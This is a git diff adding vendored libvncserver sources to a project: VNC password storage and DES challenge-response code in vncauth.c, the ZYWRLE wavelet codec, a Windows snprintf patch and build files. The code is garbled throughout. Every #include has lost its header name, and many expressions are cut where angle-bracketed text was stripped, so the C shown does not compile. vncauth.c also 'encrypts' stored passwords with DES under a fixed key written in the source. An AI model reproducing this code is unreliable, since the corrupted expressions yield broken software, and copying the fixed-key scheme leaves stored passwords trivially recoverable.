jpegSubsamp, int jpegQual, int flags); + +DLLEXPORT int DLLCALL tjDecompressHeader(tjhandle handle, + unsigned char *jpegBuf, unsigned long jpegSize, int *width, int *height); + +DLLEXPORT int DLLCALL tjDecompress(tjhandle handle, + unsigned char *jpegBuf, unsigned long jpegSize, unsigned char *dstBuf, + int width, int pitch, int height, int pixelSize, int flags); + + +/** + * @} + */ + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/3rdparty/libvncserver/common/vncauth.c b/3rdparty/libvncserver/common/vncauth.c new file mode 100644 index 0000000..81bb10b --- /dev/null +++ b/3rdparty/libvncserver/common/vncauth.c @@ -0,0 +1,215 @@ +/* + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +/* + * vncauth.c - Functions for VNC password management and authentication. + */ + +#ifdef __STRICT_ANSI__ +#define _BSD_SOURCE +#define _POSIX_SOURCE +#define _XOPEN_SOURCE 600 +#endif +#ifdef LIBVNCSERVER_HAVE_SYS_TYPES_H +#include +#endif +#include +#include +#ifdef LIBVNCSERVER_HAVE_UNISTD_H +#include +#endif +#include +#include "d3des.h" + +#include +#include + +#ifdef LIBVNCSERVER_HAVE_SYS_STAT_H +#include +#endif + +#include + +#ifdef WIN32 +#define srandom srand +#define random rand +#else +#include +#endif + + +/* libvncclient does not need this */ +#ifndef rfbEncryptBytes + +/* + * We use a fixed key to store passwords, since we assume that our local + * file system is secure but nonetheless don't want to store passwords + * as plaintext. + */ + +static unsigned char fixedkey[8] = {23,82,107,6,35,78,88,7}; + + +/* + * Encrypt a password and store it in a file. Returns 0 if successful, + * 1 if the file could not be written. + */ + +int +rfbEncryptAndStorePasswd(char *passwd, char *fname) +{ + FILE *fp; + unsigned int i; + unsigned char encryptedPasswd[8]; + + if ((fp = fopen(fname,"w")) == NULL) return 1; + + /* windows security sux */ +#ifndef WIN32 + fchmod(fileno(fp), S_IRUSR|S_IWUSR); +#endif + + /* pad password with nulls */ + + for (i = 0; i < 8; i++) { + if (i < strlen(passwd)) { + encryptedPasswd[i] = passwd[i]; + } else { + encryptedPasswd[i] = 0; + } + } + + /* Do encryption in-place - this way we overwrite our copy of the plaintext + password */ + + rfbDesKey(fixedkey, EN0); + rfbDes(encryptedPasswd, encryptedPasswd); + + for (i = 0; i < 8; i++) { + putc(encryptedPasswd[i], fp); + } + + fclose(fp); + return 0; +} + + +/* + * Decrypt a password from a file. Returns a pointer to a newly allocated + * string containing the password or a null pointer if the password could + * not be retrieved for some reason. + */ + +char * +rfbDecryptPasswdFromFile(char *fname) +{ + FILE *fp; + int i, ch; + unsigned char *passwd = (unsigned char *)malloc(9); + + if ((fp = fopen(fname,"r")) == NULL) { + free(passwd); + return NULL; + } + + for (i = 0; i < 8; i++) { + ch = getc(fp); + if (ch == EOF) { + fclose(fp); + free(passwd); + return NULL; + } + passwd[i] = ch; + } + + fclose(fp); + + rfbDesKey(fixedkey, DE1); + rfbDes(passwd, passwd); + + passwd[8] = 0; + + return (char *)passwd; +} + + +/* + * Generate CHALLENGESIZE random bytes for use in challenge-response + * authentication. + */ + +void +rfbRandomBytes(unsigned char *bytes) +{ + int i; + static rfbBool s_srandom_called = FALSE; + + if (!s_srandom_called) { + srandom((unsigned int)time(NULL) ^ (unsigned int)getpid()); + s_srandom_called = TRUE; + } + + for (i = 0; i < CHALLENGESIZE; i++) { + bytes[i] = (unsigned char)(random() & 255); + } +} + +#endif + +/* + * Encrypt CHALLENGESIZE bytes in memory using a password. + */ + +void +rfbEncryptBytes(unsigned char *bytes, char *passwd) +{ + unsigned char key[8]; + unsigned int i; + + /* key is simply password padded with nulls */ + + for (i = 0; i < 8; i++) { + if (i < strlen(passwd)) { + key[i] = passwd[i]; + } else { + key[i] = 0; + } + } + + rfbDesKey(key, EN0); + + for (i = 0; i < CHALLENGESIZE; i += 8) { + rfbDes(bytes+i, bytes+i); + } +} + +void +rfbEncryptBytes2(unsigned char *where, const int length, unsigned char *key) { + int i, j; + rfbDesKey(key, EN0); + for (i = 0; i< 8; i++) + where[i] ^= key[i]; + rfbDes(where, where); + for (i = 8; i < length; i += 8) { + for (j = 0; j < 8; j++) { + where[i + j] ^= where[i + j - 8]; + } + rfbDes(where + i, where + i); + } +} diff --git a/3rdparty/libvncserver/common/zywrletemplate.c b/3rdparty/libvncserver/common/zywrletemplate.c new file mode 100644 index 0000000..bce4e36 --- /dev/null +++ b/3rdparty/libvncserver/common/zywrletemplate.c @@ -0,0 +1,828 @@ + +/******************************************************************** + * * + * THIS FILE IS PART OF THE 'ZYWRLE' VNC CODEC SOURCE CODE. * + * * + * USE, DISTRIBUTION AND REPRODUCTION OF THIS LIBRARY SOURCE IS * + * GOVERNED BY A FOLLOWING BSD-STYLE SOURCE LICENSE. * + * PLEASE READ THESE TERMS BEFORE DISTRIBUTING. * + * * + * THE 'ZYWRLE' VNC CODEC SOURCE CODE IS (C) COPYRIGHT 2006 * + * BY Hitachi Systems & Services, Ltd. * + * (Noriaki Yamazaki, Research & Development Center) * * + * * + ******************************************************************** +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + +- Redistributions of source code must retain the above copyright +notice, this list of conditions and the following disclaimer. + +- Redistributions in binary form must reproduce the above copyright +notice, this list of conditions and the following disclaimer in the +documentation and/or other materials provided with the distribution. + +- Neither the name of the Hitachi Systems & Services, Ltd. nor +the names of its contributors may be used to endorse or promote +products derived from this software without specific prior written +permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION +OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + ********************************************************************/ + +/* Change Log: + V0.02 : 2008/02/04 : Fix mis encode/decode when width != scanline + (Thanks Johannes Schindelin, author of LibVNC + Server/Client) + V0.01 : 2007/02/06 : Initial release +*/ + +/* #define ZYWRLE_ENCODE */ +/* #define ZYWRLE_DECODE */ +#define ZYWRLE_QUANTIZE + +/* +[References] + PLHarr: + Senecal, J. G., P. Lindstrom, M. A. Duchaineau, and K. I. Joy, "An Improved N-Bit to N-Bit Reversible Haar-Like Transform," Pacific Graphics 2004, October 2004, pp. 371-380. + EZW: + Shapiro, JM: Embedded Image Coding Using Zerotrees of Wavelet Coefficients, IEEE Trans. Signal. Process., Vol.41, pp.3445-3462 (1993). +*/ + + +/* Template Macro stuffs. */ +#undef ZYWRLE_ANALYZE +#undef ZYWRLE_SYNTHESIZE +#define ZYWRLE_ANALYZE __RFB_CONCAT3E(zywrleAnalyze,BPP,END_FIX) +#define ZYWRLE_SYNTHESIZE __RFB_CONCAT3E(zywrleSynthesize,BPP,END_FIX) + +#define ZYWRLE_RGBYUV __RFB_CONCAT3E(zywrleRGBYUV,BPP,END_FIX) +#define ZYWRLE_YUVRGB __RFB_CONCAT3E(zywrleYUVRGB,BPP,END_FIX) +#define ZYWRLE_YMASK __RFB_CONCAT2E(ZYWRLE_YMASK,BPP) +#define ZYWRLE_UVMASK __RFB_CONCAT2E(ZYWRLE_UVMASK,BPP) +#define ZYWRLE_LOAD_PIXEL __RFB_CONCAT2E(ZYWRLE_LOAD_PIXEL,BPP) +#define ZYWRLE_SAVE_PIXEL __RFB_CONCAT2E(ZYWRLE_SAVE_PIXEL,BPP) + +/* Packing/Unpacking pixel stuffs. + Endian conversion stuffs. */ +#undef S_0 +#undef S_1 +#undef L_0 +#undef L_1 +#undef L_2 +#if ZYWRLE_ENDIAN == ENDIAN_BIG +# define S_0 1 +# define S_1 0 +# define L_0 3 +# define L_1 2 +# define L_2 1 +#else +# define S_0 0 +# define S_1 1 +# define L_0 0 +# define L_1 1 +# define L_2 2 +#endif + +/* Load/Save pixel stuffs. */ +#define ZYWRLE_YMASK15 0xFFFFFFF8 +#define ZYWRLE_UVMASK15 0xFFFFFFF8 +#define ZYWRLE_LOAD_PIXEL15(pSrc,R,G,B) { \ + R = (((unsigned char*)pSrc)[S_1]<< 1)& 0xF8; \ + G = ((((unsigned char*)pSrc)[S_1]<< 6)|(((unsigned char*)pSrc)[S_0]>> 2))& 0xF8; \ + B = (((unsigned char*)pSrc)[S_0]<< 3)& 0xF8; \ +} +#define ZYWRLE_SAVE_PIXEL15(pDst,R,G,B) { \ + R &= 0xF8; \ + G &= 0xF8; \ + B &= 0xF8; \ + ((unsigned char*)pDst)[S_1] = (unsigned char)( (R>>1)|(G>>6) ); \ + ((unsigned char*)pDst)[S_0] = (unsigned char)(((B>>3)|(G<<2))& 0xFF); \ +} +#define ZYWRLE_YMASK16 0xFFFFFFFC +#define ZYWRLE_UVMASK16 0xFFFFFFF8 +#define ZYWRLE_LOAD_PIXEL16(pSrc,R,G,B) { \ + R = ((unsigned char*)pSrc)[S_1] & 0xF8; \ + G = ((((unsigned char*)pSrc)[S_1]<< 5)|(((unsigned char*)pSrc)[S_0]>> 3))& 0xFC; \ + B = (((unsigned char*)pSrc)[S_0]<< 3)& 0xF8; \ +} +#define ZYWRLE_SAVE_PIXEL16(pDst,R,G,B) { \ + R &= 0xF8; \ + G &= 0xFC; \ + B &= 0xF8; \ + ((unsigned char*)pDst)[S_1] = (unsigned char)( R |(G>>5) ); \ + ((unsigned char*)pDst)[S_0] = (unsigned char)(((B>>3)|(G<<3))& 0xFF); \ +} +#define ZYWRLE_YMASK32 0xFFFFFFFF +#define ZYWRLE_UVMASK32 0xFFFFFFFF +#define ZYWRLE_LOAD_PIXEL32(pSrc,R,G,B) { \ + R = ((unsigned char*)pSrc)[L_2]; \ + G = ((unsigned char*)pSrc)[L_1]; \ + B = ((unsigned char*)pSrc)[L_0]; \ +} +#define ZYWRLE_SAVE_PIXEL32(pDst,R,G,B) { \ + ((unsigned char*)pDst)[L_2] = (unsigned char)R; \ + ((unsigned char*)pDst)[L_1] = (unsigned char)G; \ + ((unsigned char*)pDst)[L_0] = (unsigned char)B; \ +} + +#ifndef ZYWRLE_ONCE +#define ZYWRLE_ONCE + +#ifdef WIN32 +#define InlineX __inline +#else +# ifndef __STRICT_ANSI__ +# define InlineX inline +# else +# define InlineX +# endif +#endif + +#ifdef ZYWRLE_ENCODE +/* Tables for Coefficients filtering. */ +# ifndef ZYWRLE_QUANTIZE +/* Type A:lower bit omitting of EZW style. */ +const static unsigned int zywrleParam[3][3]={ + {0x0000F000,0x00000000,0x00000000}, + {0x0000C000,0x00F0F0F0,0x00000000}, + {0x0000C000,0x00C0C0C0,0x00F0F0F0}, +/* {0x0000FF00,0x00000000,0x00000000}, + {0x0000FF00,0x00FFFFFF,0x00000000}, + {0x0000FF00,0x00FFFFFF,0x00FFFFFF}, */ +}; +# else +/* Type B:Non liner quantization filter. */ +static const signed char zywrleConv[4][256]={ +{ /* bi=5, bo=5 r=0.0:PSNR=24.849 */ + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, +}, +{ /* bi=5, bo=5 r=2.0:PSNR=74.031 */ + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 32, + 32, 32, 32, 32, 32, 32, 32, 32, + 32, 32, 32, 32, 32, 32, 32, 32, + 48, 48, 48, 48, 48, 48, 48, 48, + 48, 48, 48, 56, 56, 56, 56, 56, + 56, 56, 56, 56, 64, 64, 64, 64, + 64, 64, 64, 64, 72, 72, 72, 72, + 72, 72, 72, 72, 80, 80, 80, 80, + 80, 80, 88, 88, 88, 88, 88, 88, + 88, 88, 88, 88, 88, 88, 96, 96, + 96, 96, 96, 104, 104, 104, 104, 104, + 104, 104, 104, 104, 104, 112, 112, 112, + 112, 112, 112, 112, 112, 112, 120, 120, + 120, 120, 120, 120, 120, 120, 120, 120, + 0, -120, -120, -120, -120, -120, -120, -120, + -120, -120, -120, -112, -112, -112, -112, -112, + -112, -112, -112, -112, -104, -104, -104, -104, + -104, -104, -104, -104, -104, -104, -96, -96, + -96, -96, -96, -88, -88, -88, -88, -88, + -88, -88, -88, -88, -88, -88, -88, -80, + -80, -80, -80, -80, -80, -72, -72, -72, + -72, -72, -72, -72, -72, -64, -64, -64, + -64, -64, -64, -64, -64, -56, -56, -56, + -56, -56, -56, -56, -56, -56, -48, -48, + -48, -48, -48, -48, -48, -48, -48, -48, + -48, -32, -32, -32, -32, -32, -32, -32, + -32, -32, -32, -32, -32, -32, -32, -32, + -32, -32, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, +}, +{ /* bi=5, bo=4 r=2.0:PSNR=64.441 */ + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 48, 48, 48, 48, 48, 48, 48, 48, + 48, 48, 48, 48, 48, 48, 48, 48, + 48, 48, 48, 48, 48, 48, 48, 48, + 64, 64, 64, 64, 64, 64, 64, 64, + 64, 64, 64, 64, 64, 64, 64, 64, + 80, 80, 80, 80, 80, 80, 80, 80, + 80, 80, 80, 80, 80, 88, 88, 88, + 88, 88, 88, 88, 88, 88, 88, 88, + 104, 104, 104, 104, 104, 104, 104, 104, + 104, 104, 104, 112, 112, 112, 112, 112, + 112, 112, 112, 112, 120, 120, 120, 120, + 120, 120, 120, 120, 120, 120, 120, 120, + 0, -120, -120, -120, -120, -120, -120, -120, + -120, -120, -120, -120, -120, -112, -112, -112, + -112, -112, -112, -112, -112, -112, -104, -104, + -104, -104, -104, -104, -104, -104, -104, -104, + -104, -88, -88, -88, -88, -88, -88, -88, + -88, -88, -88, -88, -80, -80, -80, -80, + -80, -80, -80, -80, -80, -80, -80, -80, + -80, -64, -64, -64, -64, -64, -64, -64, + -64, -64, -64, -64, -64, -64, -64, -64, + -64, -48, -48, -48, -48, -48, -48, -48, + -48, -48, -48, -48, -48, -48, -48, -48, + -48, -48, -48, -48, -48, -48, -48, -48, + -48, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, +}, +{ /* bi=5, bo=2 r=2.0:PSNR=43.175 */ + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 88, 88, 88, 88, 88, 88, 88, 88, + 88, 88, 88, 88, 88, 88, 88, 88, + 88, 88, 88, 88, 88, 88, 88, 88, + 88, 88, 88, 88, 88, 88, 88, 88, + 88, 88, 88, 88, 88, 88, 88, 88, + 88, 88, 88, 88, 88, 88, 88, 88, + 88, 88, 88, 88, 88, 88, 88, 88, + 88, 88, 88, 88, 88, 88, 88, 88, + 0, -88, -88, -88, -88, -88, -88, -88, + -88, -88, -88, -88, -88, -88, -88, -88, + -88, -88, -88, -88, -88, -88, -88, -88, + -88, -88, -88, -88, -88, -88, -88, -88, + -88, -88, -88, -88, -88, -88, -88, -88, + -88, -88, -88, -88, -88, -88, -88, -88, + -88, -88, -88, -88, -88, -88, -88, -88, + -88, -88, -88, -88, -88, -88, -88, -88, + -88, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, +} +}; +const static signed char* zywrleParam[3][3][3]={ + {{zywrleConv[0],zywrleConv[2],zywrleConv[0]},{zywrleConv[0],zywrleConv[0],zywrleConv[0]},{zywrleConv[0],zywrleConv[0],zywrleConv[0]}}, + {{zywrleConv[0],zywrleConv[3],zywrleConv[0]},{zywrleConv[1],zywrleConv[1],zywrleConv[1]},{zywrleConv[0],zywrleConv[0],zywrleConv[0]}}, + {{zywrleConv[0],zywrleConv[3],zywrleConv[0]},{zywrleConv[2],zywrleConv[2],zywrleConv[2]},{zywrleConv[1],zywrleConv[1],zywrleConv[1]}}, +}; +# endif +#endif + +static InlineX void Harr(signed char* pX0, signed char* pX1) +{ + /* Piecewise-Linear Harr(PLHarr) */ + int X0 = (int)*pX0, X1 = (int)*pX1; + int orgX0 = X0, orgX1 = X1; + if ((X0 ^ X1) & 0x80) { + /* differ sign */ + X1 += X0; + if (((X1^orgX1)&0x80)==0) { + /* |X1| > |X0| */ + X0 -= X1; /* H = -B */ + } + } else { + /* same sign */ + X0 -= X1; + if (((X0 ^ orgX0) & 0x80) == 0) { + /* |X0| > |X1| */ + X1 += X0; /* L = A */ + } + } + *pX0 = (signed char)X1; + *pX1 = (signed char)X0; +} +/* + 1D-Wavelet transform. + + In coefficients array, the famous 'pyramid' decomposition is well used. + + 1D Model: + |L0L0L0L0|L0L0L0L0|H0H0H0H0|H0H0H0H0| : level 0 + |L1L1L1L1|H1H1H1H1|H0H0H0H0|H0H0H0H0| : level 1 + + But this method needs line buffer because H/L is different position from X0/X1. + So, I used 'interleave' decomposition instead of it. + + 1D Model: + |L0H0L0H0|L0H0L0H0|L0H0L0H0|L0H0L0H0| : level 0 + |L1H0H1H0|L1H0H1H0|L1H0H1H0|L1H0H1H0| : level 1 + + In this method, H/L and X0/X1 is always same position. + This lead us to more speed and less memory. + Of cause, the result of both method is quite same + because its only difference is that coefficient position. +*/ +static InlineX void WaveletLevel(int* data, int size, int l, int SkipPixel) +{ + int s, ofs; + signed char* pX0; + signed char* end; + + pX0 = (signed char*)data; + s = (8<>(l+1))*s; + s -= 2; + ofs = (4<>1; + if (r & 0x02) + pH += (s>>1)*width; + for (y = 0; y < height / s; y++) { + for (x = 0; x < width / s; x++) { + /* + these are same following code. + pH[x] = pH[x] / (~pM[x]+1) * (~pM[x]+1); + ( round pH[x] with pM[x] bit ) + '&' operator isn't 'round' but is 'floor'. + So, we must offset when pH[x] is negative. + */ + if (((signed char*)pH)[0] & 0x80) + ((signed char*)pH)[0] += ~((signed char*)pM)[0]; + if (((signed char*)pH)[1] & 0x80) + ((signed char*)pH)[1] += ~((signed char*)pM)[1]; + if (((signed char*)pH)[2] & 0x80) + ((signed char*)pH)[2] += ~((signed char*)pM)[2]; + *pH &= *pM; + pH += s; + } + pH += (s-1)*width; + } + } +} +# else +/* + Type B:Non liner quantization filter. + + Coefficients have Gaussian curve and smaller value which is + large part of coefficients isn't more important than larger value. + So, I use filter of Non liner quantize/dequantize table. + In general, Non liner quantize formula is explained as following. + + y=f(x) = sign(x)*round( ((abs(x)/(2^7))^ r )* 2^(bo-1) )*2^(8-bo) + x=f-1(y) = sign(y)*round( ((abs(y)/(2^7))^(1/r))* 2^(bi-1) )*2^(8-bi) + ( r:power coefficient bi:effective MSB in input bo:effective MSB in output ) + + r < 1.0 : Smaller value is more important than larger value. + r > 1.0 : Larger value is more important than smaller value. + r = 1.0 : Liner quantization which is same with EZW style. + + r = 0.75 is famous non liner quantization used in MP3 audio codec. + In contrast to audio data, larger value is important in wavelet coefficients. + So, I select r = 2.0 table( quantize is x^2, dequantize sqrt(x) ). + + As compared with EZW style liner quantization, this filter tended to be + more sharp edge and be more compression rate but be more blocking noise and be less quality. + Especially, the surface of graphic objects has distinguishable noise in middle quality mode. + + We need only quantized-dequantized(filtered) value rather than quantized value itself + because all values are packed or palette-lized in later ZRLE section. + This lead us not to need to modify client decoder when we change + the filtering procedure in future. + Client only decodes coefficients given by encoder. +*/ +static InlineX void FilterWaveletSquare(int* pBuf, int width, int height, int level, int l) +{ + int r, s; + int x, y; + int* pH; + const signed char** pM; + + pM = zywrleParam[level-1][l]; + s = 2<>1; + if (r & 0x02) + pH += (s>>1)*width; + for (y = 0; y < height / s; y++) { + for (x = 0; x < width / s; x++) { + ((signed char*)pH)[0] = pM[0][((unsigned char*)pH)[0]]; + ((signed char*)pH)[1] = pM[1][((unsigned char*)pH)[1]]; + ((signed char*)pH)[2] = pM[2][((unsigned char*)pH)[2]]; + pH += s; + } + pH += (s-1)*width; + } + } +} +# endif + +static InlineX void Wavelet(int* pBuf, int width, int height, int level) +{ + int l, s; + int* pTop; + int* pEnd; + + for (l = 0; l < level; l++) { + pTop = pBuf; + pEnd = pBuf+height*width; + s = width<= 0; l--) { + pTop = pBuf; + pEnd = pBuf+width; + s = 1< YUV conversion stuffs. + YUV coversion is explained as following formula in strict meaning: + Y = 0.299R + 0.587G + 0.114B ( 0<=Y<=255) + U = -0.169R - 0.331G + 0.500B (-128<=U<=127) + V = 0.500R - 0.419G - 0.081B (-128<=V<=127) + + I use simple conversion RCT(reversible color transform) which is described + in JPEG-2000 specification. + Y = (R + 2G + B)/4 ( 0<=Y<=255) + U = B-G (-256<=U<=255) + V = R-G (-256<=V<=255) +*/ +#define ROUND(x) (((x)<0)?0:(((x)>255)?255:(x))) + /* RCT is N-bit RGB to N-bit Y and N+1-bit UV. + For make Same N-bit, UV is lossy. + More exact PLHarr, we reduce to odd range(-127<=x<=127). */ +#define ZYWRLE_RGBYUV1(R,G,B,Y,U,V,ymask,uvmask) { \ + Y = (R+(G<<1)+B)>>2; \ + U = B-G; \ + V = R-G; \ + Y -= 128; \ + U >>= 1; \ + V >>= 1; \ + Y &= ymask; \ + U &= uvmask; \ + V &= uvmask; \ + if (Y == -128) \ + Y += (0xFFFFFFFF-ymask+1); \ + if (U == -128) \ + U += (0xFFFFFFFF-uvmask+1); \ + if (V == -128) \ + V += (0xFFFFFFFF-uvmask+1); \ +} +#define ZYWRLE_YUVRGB1(R,G,B,Y,U,V) { \ + Y += 128; \ + U <<= 1; \ + V <<= 1; \ + G = Y-((U+V)>>2); \ + B = U+G; \ + R = V+G; \ + G = ROUND(G); \ + B = ROUND(B); \ + R = ROUND(R); \ +} + +/* + coefficient packing/unpacking stuffs. + Wavelet transform makes 4 sub coefficient image from 1 original image. + + model with pyramid decomposition: + +------+------+ + | | | + | L | Hx | + | | | + +------+------+ + | | | + | H | Hxy | + | | | + +------+------+ + + So, we must transfer each sub images individually in strict meaning. + But at least ZRLE meaning, following one decompositon image is same as + avobe individual sub image. I use this format. + (Strictly saying, transfer order is reverse(Hxy->Hy->Hx->L) + for simplified procedure for any wavelet level.) + + +------+------+ + | L | + +------+------+ + | Hx | + +------+------+ + | Hy | + +------+------+ + | Hxy | + +------+------+ +*/ +#define INC_PTR(data) \ + data++; \ + if( data-pData >= (w+uw) ){ \ + data += scanline-(w+uw); \ + pData = data; \ + } + +#define ZYWRLE_TRANSFER_COEFF(pBuf,data,r,w,h,scanline,level,TRANS) \ + pH = pBuf; \ + s = 2<>1; \ + if (r & 0x02) \ + pH += (s>>1)*w; \ + pEnd = pH+h*w; \ + while (pH < pEnd) { \ + pLine = pH+w; \ + while (pH < pLine) { \ + TRANS \ + INC_PTR(data) \ + pH += s; \ + } \ + pH += (s-1)*w; \ + } + +#define ZYWRLE_PACK_COEFF(pBuf,data,r,width,height,scanline,level) \ + ZYWRLE_TRANSFER_COEFF(pBuf,data,r,width,height,scanline,level,ZYWRLE_LOAD_COEFF(pH,R,G,B);ZYWRLE_SAVE_PIXEL(data,R,G,B);) + +#define ZYWRLE_UNPACK_COEFF(pBuf,data,r,width,height,scanline,level) \ + ZYWRLE_TRANSFER_COEFF(pBuf,data,r,width,height,scanline,level,ZYWRLE_LOAD_PIXEL(data,R,G,B);ZYWRLE_SAVE_COEFF(pH,R,G,B);) + +#define ZYWRLE_SAVE_UNALIGN(data,TRANS) \ + pTop = pBuf+w*h; \ + pEnd = pBuf + (w+uw)*(h+uh); \ + while (pTop < pEnd) { \ + TRANS \ + INC_PTR(data) \ + pTop++; \ + } + +#define ZYWRLE_LOAD_UNALIGN(data,TRANS) \ + pTop = pBuf+w*h; \ + if (uw) { \ + pData= data + w; \ + pEnd = (int*)(pData+ h*scanline); \ + while (pData < (PIXEL_T*)pEnd) { \ + pLine = (int*)(pData + uw); \ + while (pData < (PIXEL_T*)pLine) { \ + TRANS \ + pData++; \ + pTop++; \ + } \ + pData += scanline-uw; \ + } \ + } \ + if (uh) { \ + pData= data + h*scanline; \ + pEnd = (int*)(pData+ uh*scanline); \ + while (pData < (PIXEL_T*)pEnd) { \ + pLine = (int*)(pData + w); \ + while (pData < (PIXEL_T*)pLine) { \ + TRANS \ + pData++; \ + pTop++; \ + } \ + pData += scanline-w; \ + } \ + } \ + if (uw && uh) { \ + pData= data + w+ h*scanline; \ + pEnd = (int*)(pData+ uh*scanline); \ + while (pData < (PIXEL_T*)pEnd) { \ + pLine = (int*)(pData + uw); \ + while (pData < (PIXEL_T*)pLine) { \ + TRANS \ + pData++; \ + pTop++; \ + } \ + pData += scanline-uw; \ + } \ + } + +static InlineX void zywrleCalcSize(int* pW, int* pH, int level) +{ + *pW &= ~((1< +Date: Wed, 31 Jan 2018 09:25:08 -0800 +Subject: [PATCH 2/2] fix snprintf macro + +--- + win32/include/config.h | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/win32/include/config.h b/win32/include/config.h +index 8d8548e..304a4a9 100644 +--- a/win32/include/config.h ++++ b/win32/include/config.h +@@ -117,7 +117,9 @@ typedef int intptr_t; + /* Windows calls these functions something else + */ + #define strcasecmp stricmp ++#if defined (_MSC_VER) && (_MSC_VER < 1900) + #define snprintf _snprintf ++#endif + #define strncasecmp strnicmp + + #define MAXHOSTNAMELEN 1024 +-- +2.11.0.windows.3 + diff --git a/3rdparty/libvncserver/libvncclient.pc.cmakein b/3rdparty/libvncserver/libvncclient.pc.cmakein new file mode 100644 index 0000000..169a8b7 --- /dev/null +++ b/3rdparty/libvncserver/libvncclient.pc.cmakein @@ -0,0 +1,14 @@ +prefix=@CMAKE_INSTALL_PREFIX@ +exec_prefix=@CMAKE_INSTALL_PREFIX@ +libdir=@CMAKE_INSTALL_PREFIX@/lib +includedir=@CMAKE_INSTALL_PREFIX@/include + +Name: LibVNCClient +Description: A library for easy implementation of a VNC client. +Version: @PACKAGE_VERSION@ +Requires: +Requires.private: zlib +Libs: -L${libdir} -lvncclient +Libs.private: @PRIVATE_LIBS@ +Cflags: -I${includedir} + diff --git a/3rdparty/libvncserver/libvncclient/corre.c b/3rdparty/libvncserver/libvncclient/corre.c new file mode 100644 index 0000000..cbc986a --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/corre.c @@ -0,0 +1,70 @@ +/* + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + 